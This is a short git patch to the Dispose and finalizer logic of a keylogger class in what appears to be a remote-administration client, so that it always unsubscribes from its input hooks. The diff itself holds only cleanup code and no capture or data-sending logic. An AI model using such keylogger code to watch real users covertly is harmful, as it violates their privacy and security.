From c6e29f640563eb015f17a494d3f4d5ca2ce21c7f Mon Sep 17 00:00:00 2001 From: yankejustin Date: Fri, 22 May 2015 23:24:28 -0400 Subject: [PATCH] Modified implementation of Dispose The finalizer really should only be a safe-guard for ensuring that the keylogger unsubscribes from the hook. --- Client/Core/Keylogger/Logger.cs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/Client/Core/Keylogger/Logger.cs b/Client/Core/Keylogger/Logger.cs index 00f3a313..1cefc668 100644 --- a/Client/Core/Keylogger/Logger.cs +++ b/Client/Core/Keylogger/Logger.cs @@ -61,7 +61,7 @@ public Logger(double flushInterval) // It is a safe-guard because we want to make sure we unsubscribe from these // things or the client may not be able to get keystrokes/mouse clicks to any // other application (including Windows). - Dispose(true); + Dispose(false); } public void Dispose() @@ -82,10 +82,10 @@ protected virtual void Dispose(bool disposing) _timerFlush.Dispose(); } - Unsubscribe(); - disposed = true; } + + Unsubscribe(); } }